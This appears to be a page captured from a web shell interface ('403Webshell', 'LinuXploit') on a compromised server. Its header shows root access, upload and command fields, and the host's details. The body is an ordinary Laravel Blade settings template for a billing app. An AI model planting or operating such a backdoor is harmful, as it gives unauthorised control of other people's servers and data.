403Webshell
Server IP : 139.59.63.204  /  Your IP : 216.73.217.62
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ubuntu-s-1vcpu-1gb-blr1-01 6.8.0-110-generic #110-Ubuntu SMP PREEMPT_DYNAMIC Thu Mar 19 15:09:20 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/billing/resources/views/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/billing/resources/views/admin/settings.blade.php
@extends('layouts.weblayout')

@section('content')
@include('layouts.sidebar')
<!--begin::Wrapper-->
<div class="wrapper d-flex flex-column flex-row-fluid" id="kt_wrapper">
    <!--begin::Header-->
    <div id="kt_header" class="header" data-kt-sticky="true" data-kt-sticky-name="header" data-kt-sticky-offset="{default: '200px', lg: '300px'}">
        <!--begin::Container-->
        <div class="container-xxl d-flex align-items-center justify-content-between" id="kt_header_container">
            <!--begin::Page title-->
            <div class="page-title d-flex flex-column align-items-start justify-content-center flex-wrap me-lg-2 pb-5 pb-lg-0" data-kt-swapper="true" data-kt-swapper-mode="prepend" data-kt-swapper-parent="{default: '#kt_content_container', lg: '#kt_header_container'}">
                <!--begin::Heading-->
                <h1 class="text-dark fw-bold my-0 fs-2">Settings</h1>
                <!--end::Heading-->
                <!--begin::Breadcrumb-->
                <ul class="breadcrumb breadcrumb-line text-muted fw-bold fs-base my-1">
                    <li class="breadcrumb-item text-muted">
                        <a href="{{route('home')}}" class="text-muted">Dashboard</a>
                    </li>
                    <li class="breadcrumb-item text-dark">Settings</li>
                </ul>
                <!--end::Breadcrumb-->
            </div>
            <!--end::Page title=-->
            <!--begin::Wrapper-->
            <div class="d-flex d-lg-none align-items-center ms-n2 me-2">
                <!--begin::Aside mobile toggle-->
                <div class="btn btn-icon btn-active-icon-primary" id="kt_aside_toggle">
                    <!--begin::Svg Icon | path: icons/duotune/abstract/abs015.svg-->
                    <span class="svg-icon svg-icon-2x">
                        <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none">
                            <path d="M21 7H3C2.4 7 2 6.6 2 6V4C2 3.4 2.4 3 3 3H21C21.6 3 22 3.4 22 4V6C22 6.6 21.6 7 21 7Z" fill="black" />
                            <path opacity="0.3" d="M21 14H3C2.4 14 2 13.6 2 13V11C2 10.4 2.4 10 3 10H21C21.6 10 22 10.4 22 11V13C22 13.6 21.6 14 21 14ZM22 20V18C22 17.4 21.6 17 21 17H3C2.4 17 2 17.4 2 18V20C2 20.6 2.4 21 3 21H21C21.6 21 22 20.6 22 20Z" fill="black" />
                        </svg>
                    </span>
                    <!--end::Svg Icon-->
                </div>
                <!--end::Aside mobile toggle-->
                <!--begin::Logo-->
                <a href="{{route('home')}}" class="d-flex align-items-center">
                    <img alt="Logo" src="assets/media/logos/logo-default.svg" class="h-40px" />
                </a>
                <!--end::Logo-->
            </div>
            <!--end::Wrapper-->
            <!--begin::Toolbar wrapper-->
            <div class="d-flex flex-shrink-0">
           
            </div>
            <!--end::Toolbar wrapper-->
        </div>
        <!--end::Container-->
    </div>
    <!--end::Header-->
    <!--begin::Content-->
    <div class="content d-flex flex-column flex-column-fluid" id="kt_content">
        <!--begin::Container-->
        <div class="container-xxl" id="kt_content_container">
          
            <!--begin::details View-->
            <div class="card mb-5 mb-xl-10" id="kt_profile_details_view">
                <!--begin::Card header-->
                <div class="card-header cursor-pointer">
                    <!--begin::Card title-->
                    <div class="card-title m-0">
                        <h3 class="fw-bolder m-0">Settings</h3>
                    </div>
                    <!--end::Card title-->
                  
                </div>
                <!--begin::Card header-->
                <!--begin::Card body-->
                <div class="card-body p-9">
                    @if($msg = Session::get('success'))
                   <!--begin::Alert-->
                        <div class="alert alert-dismissible bg-success d-flex flex-column flex-sm-row p-5 mb-10">
                            <!--begin::Icon-->
                            <span class="svg-icon svg-icon-2hx svg-icon-light me-4 mb-5 mb-sm-0">
                                <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none">
                                    <path opacity="0.3" d="M12 22C13.6569 22 15 20.6569 15 19C15 17.3431 13.6569 16 12 16C10.3431 16 9 17.3431 9 19C9 20.6569 10.3431 22 12 22Z" fill="black"></path>
                                    <path d="M19 15V18C19 18.6 18.6 19 18 19H6C5.4 19 5 18.6 5 18V15C6.1 15 7 14.1 7 13V10C7 7.6 8.7 5.6 11 5.1V3C11 2.4 11.4 2 12 2C12.6 2 13 2.4 13 3V5.1C15.3 5.6 17 7.6 17 10V13C17 14.1 17.9 15 19 15ZM11 10C11 9.4 11.4 9 12 9C12.6 9 13 8.6 13 8C13 7.4 12.6 7 12 7C10.3 7 9 8.3 9 10C9 10.6 9.4 11 10 11C10.6 11 11 10.6 11 10Z" fill="black"></path>
                                </svg>
                            </span>
                            <!--end::Icon-->

                            <!--begin::Wrapper-->
                            <div class="d-flex flex-column text-light pe-0 pe-sm-10">
                                <!--begin::Title-->
                                <h4 class=" mb-2 text-white">Alert</h4>
                                <!--end::Title-->
                                <span class=" text-white">{{$msg}}</span>
                            </div>
                            <!--end::Wrapper-->

                            <!--begin::Close-->
                            <button type="button" class="position-absolute position-sm-relative m-2 m-sm-0 top-0 end-0 btn btn-icon ms-sm-auto" data-bs-dismiss="alert">
                                <span class="svg-icon svg-icon-2x svg-icon-light">
                                    <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none">
                                        <rect opacity="0.5" x="6" y="17.3137" width="16" height="2" rx="1" transform="rotate(-45 6 17.3137)" fill="black"></rect>
                                        <rect x="7.41422" y="6" width="16" height="2" rx="1" transform="rotate(45 7.41422 6)" fill="black"></rect>
                                    </svg>
                                </span>
                            </button>
                            <!--end::Close-->
                        </div>
                        <!--end::Alert-->
                        @elseif($msg = Session::get('fail'))
                        <!--begin::Alert-->
                        <div class="alert alert-dismissible bg-danger d-flex flex-column flex-sm-row p-5 mb-10">
                            <!--begin::Icon-->
                            <span class="svg-icon svg-icon-2hx svg-icon-light me-4 mb-5 mb-sm-0">
                                <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none">
                                    <path opacity="0.3" d="M12 22C13.6569 22 15 20.6569 15 19C15 17.3431 13.6569 16 12 16C10.3431 16 9 17.3431 9 19C9 20.6569 10.3431 22 12 22Z" fill="black"></path>
                                    <path d="M19 15V18C19 18.6 18.6 19 18 19H6C5.4 19 5 18.6 5 18V15C6.1 15 7 14.1 7 13V10C7 7.6 8.7 5.6 11 5.1V3C11 2.4 11.4 2 12 2C12.6 2 13 2.4 13 3V5.1C15.3 5.6 17 7.6 17 10V13C17 14.1 17.9 15 19 15ZM11 10C11 9.4 11.4 9 12 9C12.6 9 13 8.6 13 8C13 7.4 12.6 7 12 7C10.3 7 9 8.3 9 10C9 10.6 9.4 11 10 11C10.6 11 11 10.6 11 10Z" fill="black"></path>
                                </svg>
                            </span>
                            <!--end::Icon-->

                            <!--begin::Wrapper-->
                            <div class="d-flex flex-column text-light pe-0 pe-sm-10">
                                <!--begin::Title-->
                                <h4 class=" mb-2 text-white">Alert</h4>
                                <!--end::Title-->
                                <span class=" text-white">{{$msg}}</span>
                            </div>
                            <!--end::Wrapper-->

                            <!--begin::Close-->
                            <button type="button" class="position-absolute position-sm-relative m-2 m-sm-0 top-0 end-0 btn btn-icon ms-sm-auto" data-bs-dismiss="alert">
                                <span class="svg-icon svg-icon-2x svg-icon-light">
                                    <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none">
                                        <rect opacity="0.5" x="6" y="17.3137" width="16" height="2" rx="1" transform="rotate(-45 6 17.3137)" fill="black"></rect>
                                        <rect x="7.41422" y="6" width="16" height="2" rx="1" transform="rotate(45 7.41422 6)" fill="black"></rect>
                                    </svg>
                                </span>
                            </button>
                            <!--end::Close-->
                        </div>
                        <!--end::Alert-->
                    @endif
                    <form method="POST" class="form"  enctype="multipart/form-data" action="{{ route('update.profile',auth()->user()->id) }}">
                        @csrf
                       <input type="hidden" name="mode" value="setting"/>
                        
                       <div class="fv-row mb-10 mb-3">
                            <label for="gst" class="required fw-bold fs-6 mb-2">{{ __('GST Type') }}</label>
            
                            <div class="col-md-12">
                                <select id="gst_type" class="form-control form-control-solid mb-3 mb-lg-0   @error('gst') is-invalid @enderror" name="gst_type" required  autofocus>
                                    <option value="0" <?php if($user->gst_type == 0) { echo 'selected'; } ?>>GST on Total</option>
                                    <option value="1" <?php if($user->gst_type == 1) { echo 'selected'; } ?>>Product Based</option>
                                </select>
            
                                @error('gst')
                                    <span class="invalid-feedback" role="alert">
                                        <strong>{{ $message }}</strong>
                                    </span>
                                @enderror
                            </div>
                        </div>
                        <div class="fv-row mb-10 mb-3">
                            <label for="gst" class="required fw-bold fs-6 mb-2">{{ __('GST%') }} (This is for GST on Total)</label>
            
                            <div class="col-md-12">
                                <input id="gst" type="text" class="form-control form-control-solid mb-3 mb-lg-0   @error('gst') is-invalid @enderror" name="gst" value="{{ $user->gst_percent }}" required  autofocus>
            
                                @error('gst')
                                    <span class="invalid-feedback" role="alert">
                                        <strong>{{ $message }}</strong>
                                    </span>
                                @enderror
                            </div>
                        </div>
                      
                        <div class="fv-row mb-10 mb-3">
                            <label for="name" class="required fw-bold fs-6 mb-2">{{ __('Business Type') }}</label>
            
                            <div class="col-md-12">
                                @php $name = Helper::businessTypeById($user->industry_type); @endphp

                                
                                    <input id="industry_type" type="text" class="form-control form-control-solid mb-3 mb-lg-0   "  value="{{ $name }}"   >
                               
                               {{-- <select name="industry_type" class="form-control form-control-solid mb-3 mb-lg-0   @error('industry_type') is-invalid @enderror">
                                <option value="">Select Business Type</option>
                                @forelse($industries as $ind)
                                <option value="{{$ind->id}}" {{($user->industry_type==$ind->id)?'selected':''}}>{{$ind->name}}</option>
                                @empty
                                @endforelse
                               </select> --}}
            
                                @error('industry_type')
                                    <span class="invalid-feedback" role="alert">
                                        <strong>{{ $message }}</strong>
                                    </span>
                                @enderror
                            </div>
                        </div>
                        <div class="row mb-10 mb-3">
                            <label for="invoice_template" class="required fw-bold fs-6 mb-2">{{ __('Invoice Template') }}</label>
                           @php $check_img = "";@endphp
                            @forelse($invoice_templates as $key=> $temp)
                            @php if($user->invoice_template ==$temp->img){$check_img = $temp->img ;} @endphp
                            <div class="col-md-4">
                                   <div class="form-check form-check-custom form-check-solid">
                                       <input class="form-check-input" type="radio" name="invoice_template" id="flexRadioSm" {{( $check_img==$temp->img)?'checked':''}} onclick="
                                          if ($(this).is(':checked')) {
                                            document.getElementById('invoice_preview').src = '{{asset('invoice_templates/'.$temp->img)}}';
                                          }" value="{{$temp->img}}">
               
                                       <label class="form-check-label" for="flexRadioSm">
                                           <div class="cursor-pointer gs-selected-template position-relative mr-3" data-ember-action="" data-ember-action-158="158"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 76.23 92.91" class="h-90px w-auto rounded-xlg"><path fill="#f5f7ff" class="gs-thumbnail-bg" d="M0 0h76.23v92.91H0z"></path><circle cx="14.08" cy="13.86" r="5.85" fill="#fff" stroke="#d9e0fa" stroke-miterlimit="10"></circle><path fill="none" stroke="#d9e0fa" stroke-linecap="round" stroke-linejoin="round" d="M8.22 34.41h11.5m-11.5 5.08h11.5"></path><rect width="59.37" height="31.22" x="8.22" y="53.53" fill="#fff" stroke="#d9e0fa" stroke-miterlimit="10" rx="4.73" ry="4.73"></rect><text fill="#71778e" font-family="Inter-Bold, Inter" font-size="6" font-weight="700" letter-spacing=".06em" transform="translate(56.02 15.99)"><tspan x="0" y="0">INV</tspan></text><path fill="none" stroke="#d9e0fa" stroke-miterlimit="10" d="M32.23 84.91V53.78M8.38 60.91h59.15"></path></svg> <p class="letter-spacing-5 text-center mb-2 gs-template-name">{{$temp->name}}</p></div>
                                       </label>
                                   </div>
                                </div>
                                 @empty
                               @endforelse                          
                             
                               <div class="col-md-12 mb-10 mt-2 p-3 border">
                               <img src="{{!empty($check_img)?asset('invoice_templates/'.$check_img):''}}" id="invoice_preview" class="img img-thumbnail" width="300">
                               </div>
                           </div>
                     
                        <div class="row mb-0 mb-3">
                            <div class="col-md-12">
                                <button type="submit" class="btn btn-primary">
                                    {{ __('Save ') }}
                                </button>
                            </div>
                        
                        </div>
                    </form>
        </div>
        <!--end::Container-->
    </div>
    <!--end::Content-->
  @include('layouts.footer')
</div>
<!--end::Wrapper-->
    @endsection

Youez - 2016 - github.com/yon3zu
LinuXploit